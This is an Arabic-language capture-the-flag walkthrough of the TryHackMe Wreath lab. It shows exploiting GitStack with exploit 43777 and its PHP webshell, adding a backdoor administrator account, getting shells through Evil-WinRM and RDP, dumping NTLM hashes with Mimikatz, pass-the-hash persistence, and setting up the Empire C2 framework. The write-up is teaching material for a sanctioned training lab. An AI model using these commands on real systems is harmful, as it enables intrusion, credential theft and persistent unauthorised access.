(هل الإعدادات الافتراضية اشتغلت؟)

(Aye تعني نعم، Nay تعني لا)

الجواب

Nay

💥 الخطوة 4: البحث عن ثغرة (Exploit Search)

بما إن الباسورد مش افتراضي، لازم نلاقي طريقة نكسر فيها البرنامج.

بدنا نستخدم أداة Searchsploit الموجودة في Kali، وهي عبارة عن أرشيف ضخم للثغرات (Exploit-DB).

1. البحث:

افتح تيرمينال جديد (خلي sshuttle شغال في التيرمينال القديم)، واكتب:

searchsploit GitStack

2. تحليل النتائج:

رح تطلعلك قائمة فيها عدة ثغرات. السؤال حددلك مواصفات الثغرة اللي بدنا ياها:

  1. لغة البرمجة: Python.
  2. نوع الثغرة: RCE (Remote Code Execution - يعني نقدر نشغل كود عن بعد).
  3. الإصدار: version 2.3.10.

دور في القائمة اللي طلعتلك على سطر بيجمع هاي المواصفات.

رح تلاقي سطر مكتوب فيه شي زي هيك:

GitStack 2.3.10 - Remote Code Execution | php/webapps/43777.py

3. استخراج الرقم:

السؤال طالب الـ EDB ID (Exploit Database ID).

هذا الرقم هو اسم الملف، الرقم اللي بيجي بآخر السطر قبل .py.

السؤال 3

What is the EDB ID number of this exploit?

(ما هو رقم الـ EDB ID لهذا الاكسبلويت؟)

  • انظر للرقم الموجود في نتيجة البحث (مثل المثال اللي فوق).

الجواب

43777

📋 ملخص الخطوات

1️⃣ إعداد sshuttle

نصبنا الأداة وشغلنا نفق VPN للشبكة الداخلية عبر الجهاز المخترق.

2️⃣ اكتشاف الخدمة

دخلنا على الـ IP الداخلي واكتشفنا إنه شغال خدمة GitStack.

3️⃣ محاولة الدخول

جربنا الإعدادات الافتراضية لكن ما نجحت.

4️⃣ البحث عن ثغرة

استخدمنا searchsploit ولقينا ثغرة RCE برقم 43777.

⚡ ملاحظات مهمة

لماذا sshuttle أفضل من Port Forwarding؟

  • لا يحتاج فتح بورتات جديدة على الجهاز المخترق
  • يتجاوز مشاكل الـ Firewall تلقائياً
  • سهل الاستخدام ويعمل كـ VPN شفاف
  • يدعم توجيه كل الترافيك للشبكة المستهدفة

تحذيرات

  • خلي نافذة sshuttle مفتوحة طول فترة العمل
  • إذا قفلت النافذة، رح ينقطع الاتصال بالشبكة الداخلية
  • تأكد من استخدام الـ IP الصحيح للشبكة (من Task 17)
  • إذا كان معك SSH key، لازم تضيف --ssh-cmd option

الخطوات القادمة

الآن وإحنا لقينا الثغرة (EDB ID: 43777)، في المهام القادمة رح نستخدمها لاختراق الخادم Git Server!

🎯 Task 18: Git Server Pivoting - Accessing Internal Network via sshuttle

🔒 Cybersecurity Training | TryHackMe Wreath Network


Task 19: Git Server Code Review

🔎 قراءة وتحليل كود الثغرة

🛠️ الخطوة 1: نسخ الثغرة وتجهيزها (Get & Fix the Exploit)

أول شي لازم نجيب نسخة من كود الثغرة لجهازنا (Kali) عشان نعدل عليها.

1. نسخ الثغرة (Copy):

الأمر اللي بنستخدمه هو searchsploit مع خيار الميرور -m (Mirror).

searchsploit -m 43777
  • الشرح: هذا الأمر بياخذ نسخة من ملف الثغرة من قاعدة بيانات Kali وبحطها في المجلد اللي أنت فاتحه حالياً. رح تلاقي ملف جديد اسمه 43777.py.

2. تصليح نهايات الأسطر (The DOS vs Linux Problem):

المشكلة

ملفات الثغرات في أرشيف Kali غالباً مكتوبة بصيغة Windows/DOS. في الويندوز، نهاية كل سطر بتكون مخفية برمزين \r\n (Carriage Return & Line Feed). بينما في لينكس، نهاية السطر هي بس \n.

إذا شغلنا سكريبت بايثون بصيغة DOS على لينكس، اللينكس رح يشوف حرف \r (بيظهر كـ ^M) ويعتبره حرف غريب، ورح يعطيك خطأ مزعج جداً زي هيك:

bad interpreter: No such file or directory

الحل

لازم ننظف الملف ونحوله لصيغة لينكس. في أداتين ممكن تستخدمهم:

الأسهل والأسرع (إذا كانت موجودة):

dos2unix ./43777.py

أداة لينكس الأساسية (sed):

sed -i 's/\r//' ./43777.py

(تفسير أمر sed: -i يعني عدل عالملف، s/\r// يعني دور على أي حرف \r وبدله بـ "ولا اشي" يعني امسحه).

🔍 الخطوة 2: قراءة الكود وتحليله (Code Review)

الآن افتح الملف 43777.py بأي محرر نصوص بتحبه (مثلاً nano 43777.py أو vim).

القاعدة الذهبية

لا تشغل كود مش فاهم شو بيعمل! ممكن يكون الكود نفسه "ملغوم" ويخترق جهازك أنت.

السؤال الأول

Look at the information at the top of the script. On what date was this exploit written?

(اطلع على المعلومات في بداية السكريبت. في أي تاريخ انكتبت هاي الثغرة؟)

  • كيف تحل: مجرد ما تفتح الملف، رح تلاقي ترويسة (Header) كاتبها المبرمج، فيها اسمه والتاريخ ومعلومات عامة. دور على كلمة Date: وانقل التاريخ زي ما هو مكتوب.

الجواب

2018-01-18

🐍 الخطوة 3: تحديد إصدار البايثون (Python 2 vs 3)

بايثون 2 وبايثون 3 لغتين "قرايب بس مش إخوان". كود بايثون 2 غالباً ما بيشتغل على 3 والعكس. الثغرات القديمة (قبل 2020) غالباً بايثون 2.

كيف نميز بسرعة؟

أسهل طريقة هي أمر الطباعة print.

بايثون 2

ما في أقواس:

print "Hacked"

بايثون 3

لازم أقواس:

print("Hacked")

السؤال الثاني

Bearing this in mind, is the script written in Python2 or Python3?

(بناءً على هالمعلومة، هل السكريبت مكتوب ببايثون 2 ولا 3؟)

  • كيف تحل: انزل بالكود شوي لحد ما تلاقي أول جملة print. رح تلاحظ إنها مكتوبة بدون أقواس زي هيك:
print "[+] Create backdoor in PHP"

الجواب

Python2

🎯 الخطوة 4: إضافة Shebang (التوجيه السحري)

بما إننا عرفنا إنه بايثون 2، بدنا نقول لنظام لينكس: "يا لينكس، لما تيجي تشغل هذا الملف، استخدم برنامج بايثون 2 تحديداً".

هذا بنعمله بإضافة سطر في أول الكود من فوق (أول سطر بالمطلق)، بنسميه Shebang (بيبدأ بـ #!).

ما هو الـ Shebang؟

الـ Shebang هو سطر خاص بيخبر نظام التشغيل أي مفسّر (Interpreter) لازم يستخدمه لتشغيل السكريبت.

الصيغة: #!/path/to/interpreter

السؤال الثالث

Add an appropriate shebang to the exploit, at the very top of the file!

(ضيف shebang مناسب في أعلى الملف).

  • كيف تحل: روح لأول سطر في الملف واكتب:

الجواب

#!/usr/bin/python2

⚙️ الخطوة 5: تعديل الإعدادات (Configuration)

الآن بدنا نعدل السكريبت عشان يهجم على هدفنا إحنا (مش الهدف الافتراضي اللي كاتبه المبرمج).

انزل بالكود للأسطر (حوالي 23-31). رح تلاقي المتغيرات (Variables) اللي بتتحكم بالهجوم:

1. المتغير ip

هون بتحط الـ IP تبع السيرفر المخفي اللي بدك تهجم عليه (الـ INTERNAL_IP اللي طلعناه بـ Task 17).

  • ملاحظة: إذا كنت مستخدم Port Forwarding (مثلاً Local Port Forward) رح تحط localhost:8000 أو البورت اللي اخترته. بس بما إننا استخدمنا sshuttle، حط الـ IP الداخلي مباشرة.

2. المتغير command

هذا الأمر اللي رح يتنفذ على السيرفر لما نخترقه. حالياً اتركه whoami عشان نتأكد إن الهجوم نجح.

رح يرجعلك اسم المستخدم اللي شغال عليه البرنامج، وغالباً رح يكون NT AUTHORITY\SYSTEM لأن البرنامج شغال بصلاحيات عليا!

🚪 الخطوة 6: كيف يعمل الهجوم وتعديل الـ Backdoor

كيف الثغرة بتشتغل؟ (شرح سريع وبسيط):

الكود بيستغل ضعف في صلاحيات GitStack عشان يعمل "باب خلفي" (Backdoor).

هذا الباب الخلفي عبارة عن ملف PHP صغير جداً اسمه exploit.php.

سطر الـ PHP:

<?php system($_POST['a']); ?>

هذا السطر معناه: "يا سيرفر الويب، استقبل أي أمر بيجيك في متغير اسمه a، ونفذه على نظام التشغيل فوراً (عبر دالة system)".

تعديل اسم الـ Backdoor:

المهمة بتطلب منك تغير اسم الملف من exploit.php لاسمك أنت exploit-USERNAME.php.

ليش؟

عشان لو في طلاب ثانين باللاب قاعدين بيخترقوا نفس السيرفر، ما تخربوا على بعض وكل واحد يكون عنده ملفه الخاص.

كيف تحل:

انزل لآخر الكود (آخر 6 أسطر). رح تلاقي كلمة exploit.php مكتوبة مرتين:

  1. في الـ requests.get (السطر اللي بيكتب الملف).
  2. في الـ requests.post (السطر اللي بيشغل الملف وبيبعث له الأمر).

غيرهم لاسمك (مثلاً exploit-Hero.php).

السؤال الرابع

What is the name of the cookie set in the POST request made on line 74... of the exploit?

(شو اسم الكوكي (Cookie) المبعوث في طلب الـ POST في السطر 74 من الثغرة؟)

  • كيف تحل: دور في الأسطر الأخيرة (اللي تحت التعديل اللي عملته) عن سطر بيبدأ بـ r = requests.post(...). رح تلاحظ إن المبرمج ما استخدم cookies كمتغير صريح، لكنه أرسل الـ payload بداخل متغير.
  • راجع الكود كامل وركز على السطر 74.
  • إذا دققت في الكود الأصلي، رح تلاقي إنه بيرسل متغير اسمه csrftoken ضمن الـ Data أو بيحدده كـ Cookie لتخطي الحماية.

الجواب

csrftoken

📋 ملخص التعديلات المطلوبة

1️⃣ تصليح نهايات الأسطر

dos2unix ./43777.py # أو sed -i 's/\r//' ./43777.py

2️⃣ إضافة Shebang في أول سطر

#!/usr/bin/python2

3️⃣ تعديل المتغيرات

ip = 'INTERNAL_IP' # IP الجهاز المستهدف من Task 17 command = 'whoami' # الأمر اللي بدك تنفذه

4️⃣ تغيير اسم الـ Backdoor

غير exploit.php إلى exploit-USERNAME.php في المكانين:

  • السطر اللي فيه requests.get
  • السطر اللي فيه requests.post

⚡ ملاحظات مهمة

تحذيرات أمنية

  • لا تشغل exploits من مصادر غير موثوقة بدون قراءتها أولاً
  • بعض الـ exploits ممكن تحتوي على malware أو backdoors تستهدف جهازك
  • اقرأ الكود وافهم شو بيعمل قبل التنفيذ

نصائح للقراءة

  • استخدم محرر نصوص مع Syntax Highlighting مثل vim أو nano
  • ركز على الـ imports في البداية (المكتبات المستخدمة)
  • اقرأ التعليقات (Comments) - غالباً فيها شرح مفيد
  • دور على الدوال الخطيرة مثل system() و exec() و eval()

الخطوات القادمة

بعد ما عدلنا الكود وجهزناه، في Task 20 رح نشغل الثغرة ونخترق الـ Git Server! 🎯

🎯 Task 19: Git Server Code Review - Analyzing & Preparing the Exploit

🔒 Cybersecurity Training | TryHackMe Wreath Network


Task 21: Git Server Stabilisation & Post Exploitation

🔐 تثبيت الوصول وسرقة البيانات

🛠️ الخطوة 1: إنشاء مستخدم جديد (Create a User)

بما إننا نملك صلاحيات SYSTEM، نقدر نعمل اللي بدنا ياه بالسيرفر. أول خطوة هي إنشاء حساب مستخدم (User Account) خاص فينا عشان نستخدمه للدخول.

1. تنفيذ الأوامر عبر الـ Webshell:

باستخدام نفس الطريقة اللي تعلمناها (cURL أو Burp Suite)، رح نرسل 3 أوامر لإنشاء المستخدم وإعطائه الصلاحيات.

الأمر الأول (إنشاء المستخدم):

net user Hero HeroPassword123! /add

(استبدل Hero باسمك، و HeroPassword123! بباسورد قوي).

الأمر الثاني (إضافة لمجموعة الإدارة Administrators):

net localgroup Administrators Hero /add

(عشان يصير حسابك أدمن).

الأمر الثالث (إضافة لمجموعة الإدارة عن بعد Remote Management Users):

net localgroup "Remote Management Users" Hero /add

(هاي الخطوة ضرورية جداً عشان نقدر نشبك على السيرفر باستخدام أداة WinRM لاحقاً).

السؤال 1

Create an account on the target. Assign it to the Administrators and Remote Management Users groups.

(أنشئ حساب على الهدف. اضفه لمجموعة Administrators و Remote Management Users).

الجواب

بعد ما تنفذ الأوامر الثلاثة بنجاح، بتكون جاوبت على هذا المطلب (لا يوجد إجابة نصية مطلوبة هنا، فقط التنفيذ).

💻 الخطوة 2: الاتصال المستقر عبر WinRM (Stable CLI Shell)

بما إننا اكتشفنا سابقاً إن بورت 5985 (WinRM) مفتوح، وبما إننا عملنا حساب مسموح له يستخدمه، رح نستخدم أداة رهيبة اسمها Evil-WinRM للحصول على شل (Terminal) مستقر وسريع.

1. تثبيت الأداة على Kali:

إذا ما كانت عندك، ثبتها بهذا الأمر:

sudo gem install evil-winrm

2. الاتصال بالسيرفر:

الأمر بسيط جداً:

evil-winrm -u Hero -p 'HeroPassword123!' -i TARGET_IP

(استبدل TARGET_IP بـ IP السيرفر الداخلي للويندوز اللي هو 10.200.72.150 مثلاً).

نجح الاتصال!

مجرد ما تضغط Enter، رح تفتحلك شاشة زي الـ CMD لكنها مخصصة للويندوز (PowerShell)، وصارت مستقرة 100%.

السؤال 2

Authenticate with WinRM -- make sure you can get a stable session on the target.

(استخدم WinRM للدخول -- تأكد إنك حصلت على جلسة مستقرة على الهدف).

الجواب

بمجرد دخولك عبر Evil-WinRM، تكون أتممت المهمة (لا يوجد إجابة نصية).

🖼️ الخطوة 3: الاتصال الرسومي عبر RDP (GUI Access)

الـ WinRM ممتاز كسطر أوامر، بس مرات بنحتاج شاشة (Desktop) زي الويندوز العادي. بورت 3389 (RDP) مفتوح، فرح نستخدم أداة xfreerdp.

1. الميزة الخرافية في xfreerdp:

أحلى اشي بهالأداة إنها بتسمحلك "تشارك" مجلد من جهازك (Kali) مع السيرفر (Windows) وكأنه فلاشة مشبوكة فيه! هذا بيعني إننا بنقدر نستخدم أدوات الاختراق تبعتنا بدون ما نرفعها فعلياً على السيرفر وتنكشف.

2. أمر الاتصال السحري:

xfreerdp /v:TARGET_IP /u:Hero /p:'HeroPassword123!' +clipboard /dynamic-resolution /drive:/usr/share/windows-resources,share

🧐 تفصيل الأمر:

  • /v:TARGET_IP: عنوان السيرفر الهدف.
  • /u: و /p:: اسم المستخدم والباسورد اللي عملناهم.
  • +clipboard: عشان تقدر تعمل Copy/Paste بين جهازك والسيرفر.
  • /dynamic-resolution: عشان الشاشة تكبر وتصغر معك براحتها.
  • /drive:/usr/share/windows-resources,share: (هذا الأهم) شارك المجلد اللي فيه أدوات الويندوز في Kali (windows-resources)، وسميه على السيرفر share.

تم الاتصال!

رح تفتحلك شاشة ويندوز كاملة! 🎉

🔑 الخطوة 4: سحب الباسوردات (Dump Hashes) باستخدام Mimikatz

الآن إحنا جوا الويندوز (بالشاشة)، بدنا نسرق الباسوردات المخزنة في النظام (ملف SAM). رح نستخدم الأداة المرعبة Mimikatz.

1. تشغيل Mimikatz:

افتح الـ CMD في الويندوز كمسؤول (Run as administrator).

ثم اكتب مسار الأداة اللي شاركناها من الـ Kali:

\\tsclient\share\mimikatz\x64\mimikatz.exe

(ملاحظة: المجلد المشترك دائماً بيكون اسمه \\tsclient\ يليه اسم الـ share اللي اخترناه).

رح تفتح شاشة الأداة المميزة.

2. رفع الصلاحيات (Elevate Privileges):

قبل ما نسحب الباسوردات، لازم نفهم أداة Mimikatz إننا "آلهة" هذا النظام. نفذ هالأمرين جوا Mimikatz:

privilege::debug token::elevate

(هيك إحنا أخذنا صلاحيات SYSTEM داخل الأداة).

3. سحب ملف الـ SAM (وهو الملف اللي فيه الباسوردات مشفرة):

نفذ الأمر:

lsadump::sam

رح تطلعلك قائمة طويلة فيها أسماء المستخدمين والباسوردات المشفرة (NTLM Hashes).

السؤال 3

What is the Administrator password hash?

(ما هو الهاش للباسورد تبع Administrator؟)

  • كيف تحل: دور في المخرجات على المستخدم Administrator. تحته رح تلاقي سطر مكتوب فيه Hash NTLM:. انسخ هذا الهاش الطويل.

ملاحظة

ما بقدر أعطيك الهاش الحقيقي لأنه بيختلف، بس هو بيكون سلسلة طويلة من الحروف والأرقام.

السؤال 4

What is the NTLM password hash for the user "Thomas"?

(ما هو الـ NTLM hash للباسورد تبع المستخدم "Thomas"؟)

  • كيف تحل: انزل بالنتائج لتحت شوي رح تلاقي مستخدم اسمه Thomas. انسخ الـ Hash NTLM تبعه بنفس الطريقة.

🔓 الخطوة 5: كسر الباسورد (Cracking the Hash)

حصلنا على باسورد "Thomas" بس مشفر (Hash). المهمة بتطلب نكسره ونعرف شو الباسورد الحقيقي.

المشكلة

كسر الباسوردات (بواسطة أدوات زي Hashcat) بياخذ وقت طويل.

الحل (التعليمي)

استخدام موقع CrackStation. هذا الموقع عنده قاعدة بيانات ضخمة جداً لباسوردات مكسورة جاهزة. مجرد ما تعطيه الهاش، بيدور إذا موجود عنده وبيعطيك إياه بثانية.

تحذير

⚠️ في الواقع العملي إياك ثم إياك تحط هاش تبع شركة أو ضحية على موقع إنترنت لأنك بتكون سربت بياناتهم! اِكسره محلياً على جهازك.

السؤال 5

What is Thomas' password?

(ما هو باسورد Thomas؟)

كيف تحل:

  1. انسخ الـ Hash تبع Thomas اللي طلعته في الخطوة السابقة.
  2. روح على موقع CrackStation.net.
  3. حط الهاش بالمربع، واضغط على Crack Hashes.
  4. رح يطلعلك الباسورد الحقيقي باللون الأخضر.

النتيجة

اكتب الباسورد اللي طلع معك في إجابة السؤال.

🛡️ الخطوة 6 (خاتمة): تمرير الهاش (Pass-The-Hash) - خطوة احترافية!

في نهاية المهمة بعطيك نصيحة ذهبية:

إذا السيرفر انعمل له ريستارت، المستخدم اللي عملناه (Hero) رح ينحذف. كيف نضمن إننا نقدر ندخل دائماً؟

الحل: Pass-The-Hash

بما إننا سحبنا الـ Hash تبع الـ Administrator الأصلي (واللي مستحيل ينحذف)، بنقدر نستخدم تقنية اسمها Pass-The-Hash.

يعني بنشبك على السيرفر بالهاش تبعه بدل الباسورد الحقيقي!

الأمر عبر Evil-WinRM:

evil-winrm -u Administrator -H ADMIN_HASH -i TARGET_IP

(استبدل ADMIN_HASH بالهاش اللي نسخته من Mimikatz للسؤال 3).

الاستمرارية مضمونة! 🎯

الآن حتى لو السيرفر راح وإجا، نقدر ندخل عليه بأي وقت باستخدام هاش الـ Administrator!

📋 ملخص الخطوات

1️⃣ إنشاء حساب مستخدم

عملنا حساب بصلاحيات Administrator و Remote Management Users.

2️⃣ اتصال CLI عبر WinRM

استخدمنا Evil-WinRM للحصول على PowerShell مستقر.

3️⃣ اتصال GUI عبر RDP

استخدمنا xfreerdp مع مشاركة مجلد الأدوات.

4️⃣ سحب الباسوردات

استخدمنا Mimikatz لسحب NTLM hashes من ملف SAM.

5️⃣ كسر الهاش

استخدمنا CrackStation لكسر باسورد Thomas.

6️⃣ Pass-The-Hash

ضمنا الاستمرارية باستخدام هاش Administrator مع Evil-WinRM.

⚡ ملاحظات مهمة

لماذا Mimikatz؟

  • أداة قوية جداً لاستخراج بيانات الاعتماد من الذاكرة
  • تستطيع استخراج NTLM hashes، Kerberos tickets، وأكثر
  • تحتاج صلاحيات SYSTEM أو Administrator
  • غالباً الـ Antivirus يكتشفها لأنها مشهورة جداً

تحذيرات أمنية

  • لا تستخدم CrackStation لهاشات حقيقية في بيئات عمل
  • استخدم hashcat أو John the Ripper محلياً
  • Pass-The-Hash ممكن تكون محددة في شبكات محصنة
  • بعض الشبكات عندها كشف لاستخدام Mimikatz

تقنيات مهمة تعلمتها

  • Post-Exploitation: التصرفات بعد الاختراق لضمان الاستمرارية
  • Credential Dumping: سحب بيانات الاعتماد من النظام
  • Pass-The-Hash: استخدام الهاش بدلاً من الباسورد
  • Persistence: ضمان القدرة على العودة للنظام

Task 22: Command and Control Introduction

⚠️ ملاحظة هامة بالبداية (لمستخدمي AttackBox)

  • الفكرة: إذا كنت تستخدم الـ AttackBox (وهو جهاز Kali الافتراضي اللي بتوفره منصة TryHackMe من المتصفح)، فالنص ينصحك بتخطي هذه المهام والذهاب مباشرة إلى Task 32.
  • السبب: طريقة تثبيت أداة Empire على الـ AttackBox تعتمد على شيء اسمه Docker (وهي تقنية لتشغيل البرامج داخل حاويات معزولة)، وهذا يختلف تماماً عن الطريقة الموصى بها في هذا الشرح.
  • الخلاصة: إذا كنت تستخدم جهازك الخاص (Kali Linux) أو الـ VPN، كمل معي بكل حماس!

🤔 شو يعني C2 Framework؟ (المفهوم الأساسي)

النص يبدأ بسؤال: "حصلنا على Shell مستقر، ماذا بعد؟"

الجواب هو إدخال تقنية اسمها C2 Framework (أو Command and Control).

شرح الـ C2 (القيادة والسيطرة):

تخيل أنك قائد جيش، وقد نجح جنودك في اختراق قلعة العدو (السيرفر). الآن، أنت بحاجة إلى "غرفة عمليات" مركزية لتتواصل مع جنودك، وتعطيهم الأوامر، وتستقبل منهم المعلومات بطريقة منظمة وسرية. الـ C2 Framework هو ببساطة "غرفة العمليات" هذه.

🛠️ فوائد الـ C2 (Post-Exploitation):

هذه البرامج تسهل عليك مرحلة ما بعد الاختراق (Post-Exploitation) وتوفر أدوات جاهزة لعمل التالي:

Privesc

تصعيد الصلاحيات (Privilege Escalation) - تحويل حسابك من مستخدم عادي إلى مدير/Admin.

AV Evasion

التخفي والتهرب من برامج الحماية (مثل Windows Defender).

Pivoting

التنقل والارتكاز داخل الشبكة لاختراق أجهزة أخرى (مثلما فعلنا بـ Chisel و Socat ولكن بطريقة أسهل بكثير).

Looting

"النهب" - سرقة البيانات الحساسة والباسوردات من الجهاز المخترق.

Covert Network Tactics

تكتيكات التخفي في الشبكة، بحيث يكون اتصالك بالسيرفر المخترق سرياً ولا يكتشفه مدراء الشبكة.


🌐 أمثلة على برامج الـ C2 الشهيرة

هناك العديد من برامج القيادة والسيطرة في عالم الأمن السيبراني:

Covenant

مبني على بيئة .NET

Merlin

C2 Framework

Shadow

C2 Framework

PoshC2

PowerShell C2

💡 مصدر مفيد (The C2 Matrix):

النص يذكر موقعاً رائعاً اسمه "The C2 Matrix". هذا الموقع عبارة عن جدول ضخم يقارن بين جميع برامج الـ C2 الموجودة (مميزاتها، عيوبها، لغة برمجتها)، وهو مرجع ممتاز للمستقبل.


👑 نجم هذه المرحلة: PowerShell Empire

بما أننا اخترقنا سيرفر Windows، فهذا هو الوقت المثالي لاستخدام برنامج C2 مخصص للويندوز، وهنا يأتي دور بطلنا: Empire.

ما هو PowerShell Empire؟

هو إطار عمل (Framework) صُمم خصيصاً لاختراق أنظمة ويندوز (وبدأ مؤخراً يدعم أنظمة أخرى). يحتوي على وحدات (Modules) جاهزة لتوسيع اختراقك وتحويله لشيء ضخم جداً.

تاريخ الأداة (معلومة مهمة جداً):

النسخة الأصلية من Empire تم التخلي عنها (Abandoned) في عام 2019 وصارت قديمة. لكن شركة أمنية اسمها BC-Security تبنت المشروع وقامت بتحديثه وتطويره.

👈 لذلك: يجب أن نتأكد دائماً من استخدام النسخة الحديثة الخاصة بشركة BC-Security.

إصدار الأداة (Empire 4.x):

الشرح في المهام القادمة سيعتمد على التحديث الجديد Empire 4.x. هذا التحديث غيّر طريقة عمل الأداة كلياً، حيث قسمها إلى قسمين:

  1. Server (الخادم): المحرك الأساسي الذي يعمل في الخلفية ويستقبل الاتصالات.
  2. Client (العميل): واجهة سطر الأوامر (CLI) التي تكتب فيها أوامرك.

🖥️ التعرف على Starkiller (الواجهة الرسومية)

سابقاً، كان استخدام Empire يتم فقط عبر الشاشة السوداء (CLI). لكن الآن، تم إضافة أداة مرافقة رائعة اسمها Starkiller.

ما هو Starkiller؟

هو ببساطة GUI (Graphical User Interface) أو واجهة مستخدم رسومية (أزرار وقوائم بالماوس) لبرنامج Empire. يمكنك استخدامه كبديل لسطر الأوامر، أو استخدامهما معاً لتسهيل إدارة أجهزتك المخترقة.


الخلاصة (Summary)

في هذه المهمة التعليمية، تعرفنا على:

  • مفهوم C2 Framework (Command and Control)
  • فوائد الـ C2 في مرحلة Post-Exploitation
  • أشهر برامج C2 في عالم الأمن السيبراني
  • PowerShell Empire كأداة متخصصة لأنظمة Windows
  • تاريخ Empire وأهمية استخدام نسخة BC-Security الحديثة
  • بنية Empire 4.x (Server + Client)
  • Starkiller كواجهة رسومية لـ Empire

الخطوة التالية: في المهام القادمة سنتعلم كيفية تثبيت واستخدام Empire و Starkiller عملياً!


Task 23: Empire Installation

🛠️ الخطوة 1: التثبيت (Installation)

النص يخبرك مجدداً: إذا كنت تستخدم الـ AttackBox الخاص بالموقع، تجاوز هذه الخطوة لأن البرامج مثبتة وجاهزة. لكن بما أننا نستخدم نظام Kali Linux الخاص بنا (كهاكرز محترفين)، يجب علينا تثبيتها يدوياً.

في الماضي، كان تثبيت Empire معقداً جداً ويتطلب تحميل ملفات من GitHub وتشغيل نصوص برمجية (Scripts). لكن الآن، الأمور أصبحت سهلة جداً وموجودة في مستودعات النظام (apt repositories).

أمر التثبيت:

sudo apt install powershell-empire starkiller
  • sudo: لتشغيل الأمر بصلاحيات المدير.
  • apt install: أداة تنزيل البرامج في لينكس.
  • powershell-empire: اسم حزمة برنامج سطر الأوامر.
  • starkiller: اسم حزمة الواجهة الرسومية.

⚙️ الخطوة 2: تشغيل الخادم (Starting the Server)

كما ذكرنا سابقاً، التحديث الجديد من Empire يعتمد على فكرة "الخادم والعميل" (Server and Client).

الخادم (Server) هو القلب النابض، يجب أن يعمل دائماً في الخلفية لكي يتمكن العميل (Client) أو الواجهة الرسومية (Starkiller) من الاتصال به.

أمر تشغيل الخادم:

افتح نافذة تيرمينال جديدة واكتب:

sudo powershell-empire server

ملاحظة: هذا التيرمينال يجب أن يبقى مفتوحاً طوال فترة عملك مع Empire.

شكل المخرجات عند تشغيل السيرفر - لاحظ السطور الخضراء التي تقول Empire RESTful API successfully started

💡 معلومة احترافية من النص:

في الواقع العملي (للـ Red Teams)، السيرفر (Server) يكون موجوداً على جهاز بعيد وقوي في السحابة (Cloud)، والهاكرز (العملاء) يشبكون عليه من أجهزتهم الشخصية ليتعاونوا معاً. لكن في حالتنا هذه (تدريب)، سنشغل السيرفر والعميل على نفس الجهاز (Kali).


💻 الخطوة 3: تشغيل العميل (Starting the CLI Client)

الآن، بما أن الخادم يعمل، سنشغل واجهة سطر الأوامر (العميل) لنتفاعل مع الخادم.

أمر تشغيل العميل:

افتح نافذة تيرمينال ثانية (لا تغلق نافذة الخادم!) واكتب:

powershell-empire client

بما أن الخادم موجود على نفس الجهاز (Localhost)، فإن العميل سيتصل به تلقائياً دون الحاجة لكتابة IP أو باسورد.

نجاح اتصال العميل بالخادم - لاحظ شعار EMPIRE وسطر الأوامر (Empire) >


🎨 الخطوة 4: تشغيل Starkiller (الواجهة الرسومية)

إذا كنت لا تحب الشاشة السوداء، يمكنك استخدام Starkiller. هو تطبيق مبني بتقنية Electron (نفس التقنية التي بُني بها Discord و VS Code). هو لا يتصل بالسيرفر عبر أوامر، بل يتصل عبر خدمة برمجية يوفرها السيرفر اسمها REST API.

أمر تشغيل Starkiller:

في نافذة تيرمينال ثالثة اكتب:

starkiller

ستفتح لك نافذة برنامج رسومية جميلة تطلب منك تسجيل الدخول.

شاشة تسجيل الدخول الفارغة لبرنامج Starkiller

🔑 بيانات الدخول الافتراضية (احفظها!):

للاتصال بالـ API الخاص بخادم Empire الذي شغلناه، يجب أن ندخل البيانات التالية في Starkiller:

  1. الرابط (URL): https://localhost:1337 (هذا هو المكان الذي يعمل فيه الخادم).
  2. اسم المستخدم (Username): empireadmin
  3. كلمة المرور (Password): password123

كيف يجب أن تملأ البيانات في Starkiller قبل الضغط على زر Submit

بمجرد الضغط على SUBMIT، ستدخل إلى لوحة التحكم الرسومية المذهلة الخاصة بـ Empire!


الخلاصة (Summary)

في هذه المهمة، قمنا بتثبيت وتشغيل Empire بنجاح:

  • تثبيت PowerShell Empire و Starkiller باستخدام apt install
  • تشغيل Empire Server في نافذة تيرمينال منفصلة
  • الاتصال بالسيرفر عبر Empire CLI Client
  • تشغيل Starkiller GUI وتسجيل الدخول باستخدام بيانات الاعتماد الافتراضية

الخطوة التالية: في المهام القادمة سنتعلم كيفية استخدام Empire لإنشاء Listeners و Stagers للسيطرة على الأجهزة المخترقة!


Task 24: Empire Overview

🧩 المكونات الأربعة الأساسية لـ Empire

1 الـ Listeners

المستمعون / الراديو

الشرح: من اسمها، هي عبارة عن خدمة تعمل على جهازك (Kali) وتقوم بفتح منفذ (Port) وتبقى "تستمع" وتنتظر.

وظيفتها: تنتظر أي اتصال قادم من الضحية لكي تستقبله وتفتح قناة تواصل بينك وبينه. (تخيلها كجهاز راديو في القاعدة العسكرية ينتظر اتصالاً من الجاسوس خلف خطوط العدو).

2 الـ Stagers

الناقل / الطُّعم

الشرح: هي الـ Payloads (الأكواد الخبيثة أو الملفات) التي يقوم Empire بتوليدها وصناعتها لنا.

وظيفتها: هي "آلية التوصيل". أنت تأخذ هذا الـ Stager وتزرعه في جهاز الضحية (بأي طريقة اختراق). بمجرد أن يعمل الـ Stager عند الضحية، سيقوم بالاتصال فوراً بـ الـ Listener الذي جهزناه في الخطوة الأولى.

3 الـ Agents

العملاء / الجواسيس

الشرح: بمجرد أن ينجح الـ Stager بالاتصال بـ الـ Listener، يولد لدينا ما يسمى بـ Agent.

وظيفتها: الـ Agent هو الاتصال الفعلي والحي بينك وبين الضحية. إذا كنت قد استخدمت أداة Metasploit من قبل، فالـ Agent هو بالضبط ما يسمى هناك بـ "Session" (الجلسة). من خلال هذا العميل، ستتمكن من إرسال الأوامر والتفاعل مع جهاز الضحية براحتك.

4 الـ Modules

الوحدات / الأسلحة

الشرح: هي أدوات وبرامج جاهزة (Scripts) موجودة داخل Empire.

وظيفتها: يتم استخدامها مع الـ Agents لعمل هجمات متقدمة (Post-Exploitation). مثلاً: بدل أن تكتب أوامر معقدة لسرقة الباسوردات، هناك Module جاهز، فقط تقول للـ Agent: "استخدم وحدة سرقة الباسوردات"، وسيقوم هو بالباقي!


ميزات إضافية رهيبة (Extra Features)

برنامج Empire ليس مجرد أداة اختراق، بل هو بيئة عمل متكاملة:

  • الـ Plugins (الإضافات): يمكنك إضافة أدوات خارجية لزيادة قوة البرنامج (لن نركز عليها في هذا اللاب).
  • خزنة الباسوردات (Credential Storage): ميزة خرافية! أي باسورد أو Hash يقوم الـ Agent بسرقتها، يقوم Empire بحفظها تلقائياً في قاعدة بيانات محلية منظمة جداً لكي لا تضيع منك.
